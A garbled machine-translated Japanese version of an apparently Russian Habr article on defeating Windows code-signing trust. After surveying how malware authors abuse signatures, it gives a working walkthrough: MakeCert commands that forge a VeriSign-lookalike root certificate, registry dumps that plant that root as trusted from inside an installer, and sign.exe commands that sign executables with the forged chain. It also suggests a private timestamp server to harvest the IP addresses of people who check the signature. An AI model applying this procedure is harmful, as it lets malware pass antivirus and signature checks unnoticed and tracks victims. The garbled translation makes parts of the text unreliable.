実行可能ファイルのデジタル署名とマルウェアのこの保護のバイパス

画像
ハブラこんにちは!

まあ、彼らはカルマの問題を何とか解決できたように見えますが、現在のトピックについては一切触れておらず、その外観の特定の遅延のみを説明しています(最初の計画は昨年11月でした)。

今日は、実行可能ファイルの電子署名のシステムと、このシステムを迂回して改ざんする方法についての小さなレビューをご紹介します。 非常に効果的な回避策の1つについても詳細に検討します。 記載されているインフェはすでに数か月前であるという事実にもかかわらず、誰もがそれについて知っているわけではありません。 以下に説明する製品の製造元には、説明されている資料が通知されているため、この問題の解決策は、それを考慮した場合、その責任です。 たくさんの時間があったからです。

理論

実行可能ファイルの電子署名のアイデアと技術は、Windows NTの時代に始まりました。 Windows Vistaの登場以来、マイクロソフトはこのテクノロジを促進するために積極的な会社を立ち上げました。 メーカーの考えによると、署名されたコードはこのコードの信頼できる作成者からのみ提供されるため、システムに害を与えないことが保証され、エラーから保護されます( 3ハハ )。

ただし、署名メカニズムはかなり複雑な暗号化メカニズムを使用することが最も多いため、署名されたコードに対する一般的な信頼が広がっています。 ウイルス対策ベンダーはこれから逃れませんでした。 真実です。コードが署名されている場合、明らかにウイルスではないため、アプリオリに信頼できるため、誤検知の可能性が低くなります。 そのため、ほとんどの最新のウイルス対策製品では、デフォルトで署名済みファイルのチェックがバイパスされ、スキャン速度が向上し、誤検知の可能性が低くなります。 さらに、多くの場合、署名されたプログラムは、ヒップの「信頼できる」行動分析のカテゴリに自動的に入力されます。

有効な署名を使用して作成物に署名することにより、ウイルス作成者は、アクティブで定期的に更新されるウイルス対策に感染することになる顧客をかなり多く獲得することが明らかになります。 明らかに、これは非常においしい一口です。これは、コードが有効なRealtek証明書で署名された既に有名なStuxnetウイルスの例で簡単に目立ちます(JMicronからのより遅い署名も報告されました)。

しかし、このアプローチには裏返しがあります。侵害された署名を特定するとすぐに応答し、署名の事実によって、AVベンダーは署名検出を行い、100%の応答であることが明らかです。 署名に必要な盗まれた証明書を取得するのは非常に費用がかかることを考えると、ウイルス作成者が有効な秘密鍵なしで、またはそのような鍵を個別に生成することにより、署名検証メカニズムの完全なバイパスに関心があることは明らかです。 これにより、ウイルス対策製品の保護をバイパスするだけでなく、警告なしにドライバーとActiveXコンポーネントをインストールすることができ、通常は署名なしで何もインストールできないx64の世界に侵入することができます。

しかし、実際にはそれについての詳細。

練習

偉大な者の誰かは、敵に先んじるには、彼のように考え始めなければならないと言いました。 それで、もし私たちがウィルスメーカーであるならば、私たちは何ができるでしょうか?

1.クリーンなファイルから証明書情報をコピーします。

これは現時点で最も一般的な方法です。 署名情報は、信頼できる発行元のチェーンに至るまで、細部までコピーされます。 このようなコピーは、ユーザーの目にのみ有効であることは明らかです。 ただし、OSが表示する内容は、経験の浅い人を混乱させ、別の不具合として認識される可能性があります。すべての発行元が正しい場合、この署名が無効なのはなぜですか。 ああ、ああ-そのような過半数。

2.偽名で自己署名証明書を使用します。

上記のオプションに似ていますが、証明書パスのチェーンもコピーされない点が異なります。

3.偽のMD5。

MD5アルゴリズムの弱点は長い間説明されてきたという事実( ここここ )にも関わらず、電子署名では依然として頻繁に使用されています。 ただし、MD5ハッキングの実際の例は、非常に小さいファイルに関係するか、コードの誤動作につながります。 実際には、MD5アルゴリズムで偽のクラックされたシグネチャを持つウイルスは見つかりませんが、それにもかかわらず、この方法は理論的には可能です。
4.通常の手順に従って証明書を取得し、悪意のある目的に使用します。

いわゆるリスクウェア、アドウェア、偽のアンチウイルスの作者の最も一般的な方法の1つ。 例として、偽のPerfect Defender(標準的な詐欺:「無料でスキャン-ウイルスに感染している-弊社に支払い、削除します」)がいくつかのオフィスの署名と共に存在します。
•ジャンソビllc
•Perfect Software llc
•Sovinsky llc
•Trambambon llc

これがどのように行われるかは、国内のwinlocker開発者によって説明できます。開発者は、「ジョークプログラム」などについて小さな手紙を書いており、詐欺に関する記事から保護されています。 そして、私たちは生きています...

興味深いことに、次の所有者名を持つ絶対に通常のプログラムがあります。
•検証済みソフトウェア
•正規のソフトウェアアップデート限定
•ブラウザプラグイン

これを本当に信じているのであれば、証明書を一見して間違えることは難しくないことは明らかです。

また、認証センターから署名を取得することは決して困難ではないことに注意してください。 たとえば、RapidSSLは検証に電子メールのみを使用します。 通信がadmin、administrator、hostmaster、info、is、it、mis、postmaster、root、ssladminなどのアドレスからのものである場合、
ssladministrator、sslwebmaster、sysadmin、またはwebmaster@somedomain.com-明らかにドメイン所有者が書いていますよね? ( さらに3つの母 )。 しかし、アウトソーシングとeコマースを提供する栄光の会社Digital River(DR)は、通常、すべての顧客に証明書を提供します。 MSNSpyMonitor、WinFixer、QuickKeyLogger、ErrorSafe、ESurveiller、SpyBuddy、TotalSpy、Spynomore、Spypal、および一般的にすべての署名済みDRファイルの約0.6%がジャンクであり、すべての署名済みDRファイルの5%以上が潜在的に不要であることも不思議ではありません。

公平に言うと、x64ドライバーへの署名は決して簡単ではないことに注意してください。この場合、これまでのところ違反は確認されていません。

5.信頼できる会社の従業員を見つけて、コードに署名するよう依頼します。

コメントはありません。 誰もがお金を愛しています。 唯一の質問は合計です:)

6.証明書を盗みます。

現在、特に証明書の盗難のために「投獄」されているトロイの木馬の3つの大きなファミリーがあります。 これは:
•アドレナリン
•ウルスニフ
•ゼウス
•SpyEye(可能な場合)

それにもかかわらず、これらのトロイの木馬の新しいバージョンで盗まれた証明書を使用する大規模なケースは今のところ気づかれていません。 おそらくこれは袖の切り札ですか? 時間が教えてくれます...

7.信頼できる開発者開発システムに感染し、署名前にリリースに悪意のあるコードを挿入します。

このような感染の典型的な例は、Induc.aウイルスの概念です。 ウイルスは、コンパイル段階でコードを挿入し、開発システムに感染します。 その結果、開発者は、目に見えない「付属物」が自分のプログラムに登場したことすら知りません。 リリースは署名に合格し、完全な証明書が発行されます。 ホリネを見る? しかし、彼はそうです! ;)

幸いなことに、Induc.aはPoCのみであり、追加の悪意のある機能を実装せずに開発システムの感染のみを実行します。

さて、今-約束のお菓子。

脆弱性またはこの夏の過ごし方

ご覧のとおり、署名を回避するための多くのオプションがあります。 この例では、上記の修正バージョン1および2を検討します。

それで、何が必要ですか?
-MakeCert.exe
-cert2spc.exe
-sign.exe
-ruki.sys
-mozg.dll

ハブラクターがこれらのコンポーネントを見つけることは難しくないと思いますが、最も怠zyな人のために、最初の3つをここに投稿しています 。 ハードウェアへの緊密な結合、クロスプラットフォームとコードの特異性の完全な欠如を考慮して、私は最後の2つを投稿しません:)

そのため、ある種の信頼できる発行元証明書を作成します。 同じVeriSignに関する情報を可能な限りコピーしてみましょう。
MakeCert.exe -# 7300940696719857889 -$ commercial -n CN="VeriSign Class 3 Code Signing 2009-2 CA" -a sha1 -sky signature -l "https://www.verisign.com/rpa" -cy authority -m 12 -h 2 -len 1024 -eku 1.3.6.1.5.5.7.3.2,1.3.6.1.5.5.7.3.3 -r -sv veri.pvk veri.cer

実行の結果、署名に適したveri.pvkとveri.cerを取得します。

次に、受信したばかりを使用して子証明書を作成します。

MakeCert.exe -# 8928659211875058207 -$ commercial -n CN="Home Sweet Home" -a sha1 -sky signature -l "http://habrahabr.ru/" -ic veri.cer -iv veri.pvk -cy end -m 12 -h 2 -len 1024 -eku 1.3.6.1.5.5.7.3.3 -sv kl.pvk kl.cer

その結果、kl.pvkとkl.cerを取得します。これらは、信頼できない発行元からの信頼できる証明書です。 単純なユーザーをだまして、チェーンを長時間継続することができます。 しかし、結果は1つになります。チェーン内に信頼されていない要素が1つあるため、証明書は無効になります。 しかし!

Windowsでは、自己署名証明書を含む任意の証明書を信頼できるものとしてインストールできます。 これは便利です。場合によっては、開発者は自分で自己署名証明書を作成し、それを信頼できる証明書に入力して、アプリケーションで冷静に作業することができます。 私たちの場合、このようなエントリは明らかにレジストリへの情報の単純なエントリであるため、これは二重に便利です。 情報は特定のシステムに固有のものではありません。

テスト仮想マシンにレジストリモニターをインストールした後、必要な証明書をVeriSignから信頼できるものに追加します。 変更が発生した場所を追跡しましょう-そして出来上がりです! 対応するレジストリブランチをダンプして、インストーラーに配置できます。 合計で、インストーラーはレジストリ情報を入力し、プライマリ発行者の証明書を自動的に信頼できるものに変換し、チェーン全体を検証します。

すべてのカードを完全に開かないようにするために、私の場合、レジストリダンプは次のように見えたとしか言えません。
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A61F9F1A51BBCA24218F9D14611AFBA61B86C14C]
"Blob"=hex:04,00,00,.....


まあ、または現在のユーザーのみの場合、
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\Certificates\A61F9F1A51BBCA24218F9D14611AFBA61B86C14C]
"Blob"=hex:04,00,00,.....


このデータをレジストリに入力すると、偽の署名チェーンを持つプログラムがsigverif.exeによって自動的にチェックされました。 さて、受け取った証明書の助けを借りてコードに署名するのは一般的に簡単で、バッチファイルだけです:

cert2spc.exe kl.cer kl.spc
sign.exe -spc kl.spc -v kl.pvk -n "My Installer" -i "http://habrahabr.ru" -ky signature -$ commercial -a sha1 -t "http://timestamp.verisign.com/scripts/timstamp.dll" myprogram.exe
del kl.spc


タイムスタンプtimestamp.verisign.com/scripts/timstamp.dllの使用に注意してください-理論的には、独自のドメインで独自のサーバーを使用することは可能です。これにより、誰かがコンピューター上のプログラムの署名をチェックするたびに、IPを取得することができます。時間を確認してください。 便利ですか? ;)

面白いことに、2010年10月から11月に資料を書いた時点では、Kaspersky Internet Security 2011は特定のレジストリブランチを追跡していませんでした。チェーンの検証はOSの裁量に任されていました。 今はわかりませんが、一部のブランチがブロックされているようです...チェックして、登録解除してください!

署名に署名するために、パブリックドメインで利用できない特定のソフトウェアを使用することが可能であることに注意する必要があります。 彼が署名を破らないことは明らかですが、X500フィールドに入力するためのはるかに柔軟な可能性を提供します。 ここでは、好奇心example盛な例をダウンロードできます。 アーカイブ-Microsoft署名の有無にかかわらず、人気のある交換用メモ帳bred3_2k( offsite )のファイル:)署名が完全に有効になるには、キー+ .regファイルに含まれるレジストリを変更するだけで十分です。 同様に、キー-.regファイルはこれらの変更を破棄します。 証明書のパスを追跡する-好奇心が強い:)

「例」の作成者が独自のタイムスタンプサーバーを登録したという事実にすぐに注意向けます。これにより、操作によって作成者がIPを認識できるようになります。 必要に応じて、これらの申し立てを追跡し、コメントの登録を解除できます;)

必要に応じて、次の記事では、信頼された証明書への証明書の導入を避けるために、対応するレジストリブランチを保護するためにヒップを構成する方法を説明します。 コメントの購読を中止-この脆弱性はすでに修正されている可能性があります。

この記事では、材料のプレゼンテーションJarno Niemela(F-Secure)を使用しました。

Source: https://habr.com/ru/post/J112289/


All Articles